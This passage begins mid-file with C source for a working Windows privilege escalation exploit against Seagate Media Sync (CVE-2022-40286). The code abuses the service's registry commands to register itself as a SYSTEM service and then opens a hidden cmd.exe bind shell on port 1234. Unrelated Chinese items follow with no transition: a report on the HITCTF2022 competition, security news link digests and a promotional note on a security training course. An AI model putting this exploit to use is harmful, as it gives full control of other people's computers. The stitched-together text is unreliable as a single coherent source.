sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t); // send command if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } return 0; } DWORD SetRegDword(char *pKeyPath, char *pValueName, DWORD dwValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; // initialise seagate registry command data (dword) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwDwordValue = dwValue; // send command if(SendSeagateCommand(0x10, 0x410, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } return 0; } DWORD StartBindShell(WORD wPort) { sockaddr_in SockAddr; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; SOCKET ListenSocket = 0; SOCKET AcceptSocket = 0; // create listen socket ListenSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); if(ListenSocket == INVALID_SOCKET) { return 1; } // set socket addr info memset((void*)&SockAddr, 0, sizeof(SockAddr)); SockAddr.sin_family = AF_INET; SockAddr.sin_port = htons(wPort); SockAddr.sin_addr.s_addr = htonl(INADDR_ANY); // bind socket if(bind(ListenSocket, (sockaddr*)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR) { closesocket(ListenSocket); return 1; } // listen if(listen(ListenSocket, 1) == SOCKET_ERROR) { closesocket(ListenSocket); return 1; } // wait for clients for(;;) { // wait for connection AcceptSocket = accept(ListenSocket, NULL, NULL); if(AcceptSocket == INVALID_SOCKET) { closesocket(ListenSocket); return 1; } // set StartupInfo fields - redirect input/output to socket memset((void*)&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = sizeof(StartupInfo); StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; StartupInfo.wShowWindow = SW_HIDE; StartupInfo.hStdInput = (HANDLE)AcceptSocket; StartupInfo.hStdOutput = (HANDLE)AcceptSocket; StartupInfo.hStdError = (HANDLE)AcceptSocket; // create cmd.exe process with inherited handles memset((void*)&ProcessInfo, 0, sizeof(ProcessInfo)); if(CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInfo) == 0) { closesocket(AcceptSocket); closesocket(ListenSocket); return 1; } // client socket has been passed to cmd.exe - close socket in local process closesocket(AcceptSocket); } // close listen socket closesocket(ListenSocket); return 0; } DWORD ConfirmSystemUser() { HANDLE hToken = NULL; BYTE bTokenUser[1024]; DWORD dwLength = 0; SID_IDENTIFIER_AUTHORITY SidIdentifierAuthority; TOKEN_USER *pTokenUser = NULL; void *pSystemSid = NULL; // open process token if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) == 0) { return 1; } // get user SID pTokenUser = (TOKEN_USER*)bTokenUser; if(GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &dwLength) == 0) { CloseHandle(hToken); return 1; } // close token handle CloseHandle(hToken); // SECURITY_NT_AUTHORITY SidIdentifierAuthority.Value[0] = 0; SidIdentifierAuthority.Value[1] = 0; SidIdentifierAuthority.Value[2] = 0; SidIdentifierAuthority.Value[3] = 0; SidIdentifierAuthority.Value[4] = 0; SidIdentifierAuthority.Value[5] = 5; // get SYSTEM user SID if(AllocateAndInitializeSid(&SidIdentifierAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) == 0) { return 1; } // check if this is the SYSTEM user if(EqualSid(pTokenUser->User.Sid, pSystemSid) == 0) { FreeSid(pSystemSid); return 1; } // clean up FreeSid(pSystemSid); return 0; } DWORD CreateServiceViaSeagate(char *pServiceName, char *pExePath) { char szServiceKey[512]; char szImagePath[512]; char szWindowsDir[512]; // get windows directory memset(szWindowsDir, 0, sizeof(szWindowsDir)); GetWindowsDirectory(szWindowsDir, sizeof(szWindowsDir) - 1); // set service key memset(szServiceKey, 0, sizeof(szServiceKey)); _snprintf(szServiceKey, sizeof(szServiceKey) - 1, "SYSTEM\\CurrentControlSet\\Services\\%s", pServiceName); // set image path // (cmd.exe will launch this process in the background - this is to prevent the service manager from killing our process for not responding to service status requests) memset(szImagePath, 0, sizeof(szImagePath)); _snprintf(szImagePath, sizeof(szImagePath) - 1, "\"%s\\system32\\cmd.exe\" /c start \"\" \"%s\"", szWindowsDir, pExePath); // set registry value if(SetRegString(szServiceKey, "ImagePath", szImagePath) != 0) { return 1; } // set registry value if(SetRegString(szServiceKey, "ObjectName", "LocalSystem") != 0) { return 1; } // set registry value if(SetRegDword(szServiceKey, "ErrorControl", 1) != 0) { return 1; } // set registry value if(SetRegDword(szServiceKey, "Start", 2) != 0) { return 1; } // set registry value if(SetRegDword(szServiceKey, "Type", 16) != 0) { return 1; } return 0; } int main() { WSADATA WinsockData; char szPath[512]; // check if this process is running as SYSTEM user if(ConfirmSystemUser() == 0) { // initialise winsock if(WSAStartup(MAKEWORD(2, 2), &WinsockData) != 0) { return 1; } // ready - start tcp bind shell on port 1234 if(StartBindShell(1234) != 0) { return 1; } } else { printf("Seagate Media Sync (Version 2.01.0414) - Windows Local Privilege Escalation Exploit (CVE-2022-40286)\n"); printf("x86matthew (www.x86matthew.com)\n\n"); printf("Retrieving current exe path...\n"); // get current exe path memset(szPath, 0, sizeof(szPath)); if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0) { printf("Error: Failed to get current exe path\n"); return 1; } printf("Creating service...\n"); // create service if(CreateServiceViaSeagate("x86matthew_seagate_svc", szPath) != 0) { printf("Error: Failed to add service via Seagate Media Sync service\n"); return 1; } printf("Service created successfully - reboot and connect to localhost:1234 for SYSTEM shell\n"); } return 0; }

11月27日14时，哈尔滨工业大学“安天杯”网络安全国际邀请赛HITCTF2022竞赛环节圆满结束。来自国内外的38支高校战队历经24个小时不间断激烈的线上比拼，最终东北大学N3X战队、成都理工大学D1no战队和嘉兴学院sunflower战队分获冠军、亚军和季军，北京邮电大学满分冰美式战队、哈尔滨工业大学Lilac战队和伊尔库茨克国立理工大学LamaNull战队等8支战队荣获优胜奖。 比赛现场可视化 哈尔滨工业大学网络安全国际邀请赛HITCTF2022由哈工大计算学部网络空间安全学院、湖南蚁景科技有限公司、安天科技集团股份有限公司联合主办，奇安信集团、哈工大紫丁香CTF社团和黑龙江高校网络安全技术社团联盟协办。 竞赛旨在提升高校学生的网络安全意识与网络安全专业技能水平，培养学生的创新意识与团队合作精神，增进国内外高校之间的学生交流，培养更多优秀的网络安全人才。 HITCTF2022的赛题紧密结合近年来出现的各类安全事件，以分析防御网络安全威胁及威胁猎杀为主要场景，力求接近真实环境，具有较强的挑战性和实际意义，主要考验参赛队伍的技术功底和综合能力。 湖南蚁景科技有限公司作为主办单位之一，提供了高效、稳定的比赛支撑平台，有效保障了赛前环境部署与测试、赛题测试验证、比赛过程运维等各环节的顺利进行。蚁景科技网络安全技术负责人韩磊则担任本次竞赛的裁判长，秉承“公平、公正、公开”的原则，全程执裁了本次赛事。 大赛回顾： 哈工大计算学部刘挺主任在开幕式上致欢迎辞 哈工大计算学部副主任邬向前教授为获奖队员颁奖 赛会现场 湖南蚁景科技有限公司凭借多年深耕网络安全行业的经验，为CTF赛事提供专业可靠的平台支撑服务。未来，期待能与更多的业内单位、高校开展合作。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、谷歌指控西班牙间谍软件商利用 Chrome/Firefox/Windows 零日漏洞 https://thehackernews.com/2022/12/google-accuses-spanish-spyware-vendor.html 2、黑客在暗网上泄露了另一组 Medibank 客户数据 https://thehackernews.com/2022/12/hackers-leak-another-set-of-medibank.html 3、Nvidia 修补了 Windows、Linux 显示驱动程序中的29个漏洞 https://www.securityweek.com/nvidia-patches-many-vulnerabilities-windows-linux-display-drivers 4、基于 Go 的 Redigo 恶意软件以 Redis 服务器为目标 https://securityaffairs.co/wordpress/139164/malware/redigo-malware-targets-redis-servers.html 5、Lastpass 披露了今年的第二起安全漏洞 https://securityaffairs.co/wordpress/139136/data-breach/lastpass-second-security-breach.html 6、朝鲜黑客组织APT37使用新的Dolphin后门来监视韩国目标 https://www.welivesecurity.com/2022/11/30/whos-swimming-south-korean-waters-meet-scarcrufts-dolphin/ 7、Schoolyard Bully木马窃取了超过30万安卓用户的Facebook凭据 https://www.zimperium.com/blog/schoolyard-bully-trojan-facebook-credential-stealer/ 8、智能汽车服务提供商SiriusXM的产品存在授权漏洞可导致远程解锁车门 https://www.theregister.com/2022/11/30/siriusxm_connected_cars_hacking/ 9、Trigona 勒索软件在全球范围内不断发起攻击 https://www.bleepingcomputer.com/news/security/trigona-ransomware-spotted-in-increasing-attacks-worldwide/ 10、Lockbit 3.0 具有 BlackMatter 勒索软件代码、可蠕虫特征 https://www.techtarget.com/searchsecurity/news/252527864/Lockbit-30-has-BlackMatter-ransomware-code-wormable-traits

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、索尼、雷克沙等闪存设备加密提供商被曝泄露敏感数据一年有余 https://cybernews.com/security/encsecurity-leaked-sensitive-data/ 2、因泄露5.33亿用户隐私，Facebook被罚2.65亿欧元 https://www.freebuf.com/news/351014.html 3、美国国会研究服务处发布新版《电子战》报告 https://www.secrss.com/articles/49491 4、摩洛哥和科威特宜家商场数据被勒索团伙发布至网站 https://cybernews.com/news/ikea-posted-ransomware-gang/ 5、Chrome 108 发布补丁修复了严重的内存安全漏洞 https://www.securityweek.com/chrome-108-patches-high-severity-memory-safety-bugs 6、Quarkus Java 框架中存在严重的远程代码执行漏洞 https://www.securityweek.com/developers-warned-critical-remote-code-execution-flaw-quarkus-java-framework 7、Delta Electronics 修补了工业网络设备中的严重漏洞 https://www.securityweek.com/delta-electronics-patches-serious-flaws-industrial-networking-devices 8、研究人员发现针对智利用户的Punisher勒索软件新变种 https://heimdalsecurity.com/blog/punisher-ransomware-uses-a-covid-lure-to-spread/ 9、研究人员发现针对金融服务业Web应用程序和API的攻击激增 https://www.infosecurity-magazine.com/news/web-app-api-attacks-257-financial/ 10、元宇宙可能成为 2023 年网络攻击的主要途径 https://www.freebuf.com/news/351133.html

随着信息化程度的全面展开，税务行业对从业人员“网络安全”能力的要求日益提高。进一步增强税务人员的网络安全意识，提高网络安全技能，防范网络安全风险和威胁的能力迫在眉睫！    近日，蚁景科技与国家税务总局税务干部学院（长沙）合作，共同支撑了河北省税务系统的网络安全培训。 本次培训内容涵盖数据库安全、中间件安全、主机值守安全、数据安全、蓝队应急响应、网络设备运维和前沿实战技术等多个方面。助力河北省税务干部全面提升网络安全意识，提高网络安全实战能力。 接到项目需求后，蚁景科技集结资深讲师，规划培养方向与课程体系，为河北省税务系统提供了定制化的网安人才培养解决方案。 在大数据、人工智能等技术和学科发展迅速的当下，网络安全培训，对提升企业网络安全的能力，促进企业“更安全、更具信息化”发展，有着至关重要的意义。 湖南蚁景科技有限公司作为国内领先的“网络安全人才培养服务提供商”，为配合国家网络安全人才培养战略，以市场需求为导向，以能力提升为目标，从高校科研、教学实训及企事业单位实际需求出发，基于对“互联网+教育”的深刻理解，通过自主研发的“网络安全人才实训靶场”，为高校、政企单位、科研院所等行业客户提供满足在线实验教学的虚拟实验环境与各种课件资源，同时为广大网安爱好者提供技能培训、人才推荐等服务。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Oracle Access Manager漏洞被黑客攻击广泛利用 https://www.securityweek.com/oracle-fusion-middleware-vulnerability-exploited-wild 2、网络犯罪分子利用最近的 Fortinet 漏洞出售网络访问权 https://www.securityweek.com/cybercriminals-selling-access-networks-compromised-recent-fortinet-vulnerability 3、研究人员披露AWS AppSync服务中的跨租户漏洞 https://securityaffairs.co/wordpress/139045/hacking/amazon-web-services-flaw.html 4、黑客利用流行的 TikTok的热门挑战活动诱骗用户下载恶意软件 https://thehackernews.com/2022/11/hackers-using-trending-invisible.html 5、北卡罗来纳大学证实勒索软件集团窃取了敏感数据 https://therecord.media/north-carolina-college-confirms-ransomware-group-stole-sensitive-data/ 6、研究人员发现针对中东个人和企业的网络钓鱼活动 https://www.infosecurity-magazine.com/news/phishing-impersonating-uae/ 7、德国隐私监管机构认为 Microsoft 365 不兼容 GDPR https://www.solidot.org/story?sid=73491 8、NordPass 公布2022 年最常用的密码，"password"居榜首 https://www.theregister.com/2022/11/25/infosec_roundup/ 9、RansomEXX更新Rust恶意软件以提高规避能力 https://www.inforisktoday.com/ransomexx-updates-to-rust-malware-to-improve-evasion-a-20554 10、研究人员在Google Play中发现用于非法创建账户的恶意应用程序 https://www.bleepingcomputer.com/news/security/malicious-android-app-found-powering-account-creation-service/